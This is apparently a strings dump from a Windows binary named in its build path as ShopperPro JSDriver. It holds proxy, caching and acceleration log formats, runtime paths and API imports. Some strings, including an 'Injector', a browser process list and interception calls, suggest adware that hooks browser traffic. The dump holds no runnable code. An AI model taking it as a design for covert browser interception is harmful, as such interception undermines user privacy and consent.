[CConnectionsManager::Work] Remote: %s:%d - Done.
[CConnectionsManager::Work] ___Error Connect socket %d
[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x
[CConnectionsManager::Work] Add socket %d - Remote: %s:%d
[CConnectionsManager::Work] Remote: %s:%d
[CConnectionsManager::Cleanup] %d sockets left in map
[CConnectionsManager::Cleanup] Cleaning %d sockets from map
[CConnectionsManager::RemoveConnection] socket %d
[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***
[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d
[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName
[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d
[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d
[CConnectionsManager::OnCloseEvent] socket %d
lighttpd/1.4.8
[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld
[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)
[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld
[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)
[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)
[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d
[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d
[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld
[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d
[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d
[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)
[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)
[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)
[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)
[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d
[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)
[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d
[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d
[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d
[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule
AppleWebKit
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.
AccelerationLogic::AccelerateIsSupported
[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s
[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s
[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s
[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s
[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d
NonSupportRangeServersList
[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s
[AccelerationLogic::CreateAnyRule] FDM=%d
[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported
[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s
[AccelerationLogic::Reset] FDM=%d
[~AccelerationLogic - %p] FDM=%d - ... Leave
[~AccelerationLogic - %p] FDM=%d - Enter ...
[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d
[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes
[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld
[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d
[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld
[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d
[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes
[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d
[CHttpCacheData] CD:%d, Url: %s
[~CHttpCacheData] CD:%d
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d
[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld
[CacheWorker::SetSize - %p] Cache size: %d
[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d
[CacheWorker::SetEncryptionKey - %p] Key: %p
[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::AppendToCache - %p] Bytes in buffer: %d
[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld
[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes
[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes
[CacheWorker::Write - %p] *** Finished to download & write job:%d ***
[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] ___Warning already finished job:%d
[CacheWorker::Write - %p] Bytes in buffer: %d
[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.
[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.
f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum
f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime
f:\dd\vctools\crt_bld\self_x86\crt\src\locale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon
%d / %m / %y
%I : %M : %S %p
%m / %d / %y
%b %d %H : %M : %S %Y
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c
Client hook allocation failure at file %hs line %d.
Memory allocated at %hs(%d).
Client hook re-allocation failure at file %hs line %d.
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory after end of heap buffer.
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory before start of heap buffer.
CRT detected that the application wrote to a heap buffer that was freed.
crt block at 0x%p, subtype %x, %Iu bytes long.
client block at 0x%p, subtype %x, %Iu bytes long.
%hs(%d) :
#File Error#(%d) :
Data: <%s> %s
f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c
Visual C   CRT: Not enough memory to complete call to strerror.
f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
_CrtDbgReport: String too long or IO Error
Debug %s!
Program: %s%s%s%s%s%s%s%s%s%s%s%s
f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c
f:\dd\vctools\crt_bld\self_x86\crt\src\read.c
%s(%d) : %s
_CrtDbgReport: String too long or Invalid characters in String
GetProcessWindowStation
f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c
f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c
Broken pipe
Inappropriate I/O control operation
Operation not permitted
f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c
portuguese-brazilian
operator
f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c
ICACLS.EXE
SOFTWARE\%s
Global\%s_CONFIG_XML
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
Injector dump %s: %s
inj_rem remain %d
inj_loc remain %d
%s PutChunk send %d bytes to server
%s PutChunk send %d bytes to client
%s close pRemoteInj
%s close pLocalInj
New EmuSession flow %lld, now %d
Injector: Flow %lld, create session %X
Injector: Flow %lld, FDM=%d (%d)
%s ConnectedToVA, pLocalInj %p, pLocalVA %p
Delete EmuSession flow %lld, remain %d, chunks %d
%s delete Session %X
%s HandleChunk FWPS_STREAM_FLAG_SEND len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_ABORT
Injector: FDM=%d (%d)
%s ConnectToInj, Session not found pLocalVA %X
%s ConnectToInj
Cleanup %s
allports
iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe
[Stproxy]: open driver HANDLE %p, err %d
jsdriver: LoadConfig: error parsing Config.json
parsing Config.json
IOCTL_ENABLE_INTERCEPT res %d
SetThreadPriority %d
error %d
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
0123456789.eE- 
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum
Windows NT 6.1
%s?e=%s
zvl=%s&
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: multipart/form-data; boundary=%s
HTTP/1.1
XXX
Software\Microsoft\Windows\CurrentVersion\Internet Settings
%s\%s
C:\Builds\Build_ShopperProMulti\JSDriver\1.42.0.0\JsDriver\Release\jsdrv.pdb
WSAJoinLeaf
WS2_32.dll
VERSION.dll
USERENV.dll
HttpQueryInfoA
InternetOpenUrlA
InternetCrackUrlA
HttpSendRequestA
HttpAddRequestHeadersA
HttpOpenRequestA
HttpSendRequestExA
HttpEndRequestA
WININET.dll
GetProcessHeap
GetCPInfo
PeekNamedPipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
CloseWindowStation
SetProcessWindowStation
OpenWindowStationA
USER32.dll
RegNotifyChangeKeyValue
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyExA
RegQueryInfoKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AVSaveWatchUrl@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
HTTP://
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
.?AVCAsyncUdpSocket@@
.?AVCExecuteUpdate@@
..\Common\Base64.cpp
..\Common\Base64MultiBytes.cpp
<>"#%{}|\^~[]`' ?&
<>"#{}|\^~[]`' ?&
.?AVIHttpProxyWorker@@
.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@
.?AVIInjHttpProxyServer@@
.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@
.?AV?$IBaseInterface@VIHttpProxyServer@@@@
.?AVIHttpProxyServer@@
.?AVInjHttpProxyServer@@
.?AVHttpProxyServer@@
.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@
.?AVIHttpStreamSink@@
.?AVIHttpFileDownloadMgr@@
.?AVInjHttpProxyLocal@@
.?AVHttpProxyLocal@@
.?AVHttpProxyWorker@@
.?AVInjHttpProxyRemote@@
.?AVHttpProxyRemote@@
.?AVHttpParser@@
VA_SUBJECT_FMD_%d_WORKER_CREATED
VA_SUBJECT_FMD_%d_RANGE_CREATED
VA_SUBJECT_FMD_%d
VA_SUBJECT_FMD_%d_WORKER_%d
.?AVHttpCookie@@
.?AVHttpCookieJar@@
.?AV?$IBaseInterface@VIHttpCacheManager@@@@
.?AVIHttpCacheManager@@
.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@
.?AVCHttpCacheManager@@
.?AVCProxyServerPassThrough@@
.?AVCHttpCacheData@@
zcÁ
.?AVCHttpAsync@@
.?AVCHttp@@
1.0.1.4
3.1.9318.1812
%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
2 2(2.242|2
<(<6<&?8?
;#<-<:<@<
6m6I6
2/2X2
5"535`6 7
1(1-121x1}1
y0~0 1%1U1Z1
99N9X9h9v9
6f6F6X6
7#767;7|7
0 1*131?1
<0=5=->2>
0%0U0Z0
3'41464;4}4
70858:8?8
>4?9?>?\?
969;9@9/:
3(4:4`498@8#:*:
7(>,>0>4>8><>
9 9$9(9,9094989<9
= =$=(=,=0=4=
;/;6;=;`;
? ?$?(?,?0?4?8?<?@?
9#:(:-:2:
9!9@9_9~9
2/2T2f2n2
77T7f7n7
0$0(0,0004080
6 6$6(64686
4 4$4(4,4044484<4@4
0 0$0(0,00040
4 4$4(4,4044484
7 7$7(7,7074787<7@7
,0004080<0
; ;$;(;,;0;4;8;
2 2$2(2,20242
3 3$3(3,3034383<3
5 5$5(5,505
= =(=,=0=4=
2,282\2|2
=$=,=8=\=|=
5$5,585\5|5
=,=8=\=|=
1(141<1\1
:$:,:8:\:|:
2 2$2(2,2024282`2
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --
dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator   
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator   
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *
